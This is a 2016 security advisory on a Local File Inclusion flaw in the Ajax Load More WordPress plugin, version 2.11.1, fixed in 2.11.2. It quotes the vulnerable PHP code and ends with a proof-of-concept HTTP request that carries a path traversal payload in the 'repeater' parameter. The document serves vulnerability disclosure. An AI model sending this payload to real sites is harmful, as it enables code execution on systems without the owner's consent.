Ajax Load More Local File Inclusion vulnerability - Security Advisories and Insights

Iron Flower, July 2016

Ajax Load More Local File Inclusion vulnerability

-- Abstract

It was discovered that the Ajax Load More WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.



-- Tested versions

This issue was succesfully tested on the Ajax Load More - Infinite Scroll WordPress Plugin version 2.11.1.

-- Fix

This issue is fixed in version 2.11.2

-- Details

Userinput $repeater is sent to $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php'; which results in Local File Inclusion. For a succesfull exploit the payload needed to contain 'repeater' value and a numeric value which when splitted by 'alm_get_repeater_type' results in 'repeater' for the $type parameter.


https://www.owasp.org/index.php/PHP_File_Inclusion https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

$repeater = (isset($_GET['repeater'])) ? $_GET['repeater'] : 'default';      
$type = alm_get_repeater_type($repeater);
function alm_get_repeater_type($repeater){
   $type = preg_split('/(?=\d)/', $repeater, 2); // split $repeater value at number to determine type
   $type = $type[0]; // default | repeater | template_   
   return $type;
if($queryType === 'standard'){ 
   if($theme_repeater != 'null' && has_action('alm_get_theme_repeater')){
                     do_action('alm_get_theme_repeater', $theme_repeater, $alm_found_posts, $alm_page, $alm_item, $alm_current); // Theme Repeater
                     include( alm_get_current_repeater($repeater, $type) ); //Include repeater template
function alm_get_current_repeater($repeater, $type) {
   $template = $repeater;
   $include = '';
   // If is Custom Repeaters (Custom Repeaters v1)
   if( $type == 'repeater' && has_action('alm_repeater_installed' )){ 
      $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php';                     
      if(!file_exists($include)) //confirm file exists                 
   // If is Unlimited Repeaters (Custom Repeaters v2)
   elseif( $type == 'template_' && has_action('alm_unlimited_installed' )){
      global $wpdb;
      $blog_id = $wpdb->blogid;
      if($blog_id > 1){   
         $include = ALM_UNLIMITED_PATH. 'repeaters/'. $blog_id .'/'.$template .'.php';
         $include = ALM_UNLIMITED_PATH. 'repeaters/'.$template .'.php';      
      if(!file_exists($include)) //confirm file exists                 
         $include = alm_get_default_repeater();          
   // Default repeater
      $include = alm_get_default_repeater();
   return $include;

The victim should have the paid add-on Custom Repeater or Unlimited installed.

-- Proof of Concept

GET /html/wp-admin/admin-ajax.php?action=alm_query_posts&query_type=standard&nonce=&repeater=repeater2f%2e%2e%2f../../../xmlrpc&theme_repeater=null HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Pragma: no-cache
Cache-Control: no-cache

I originally wrote this article for Securify B.V. Read more.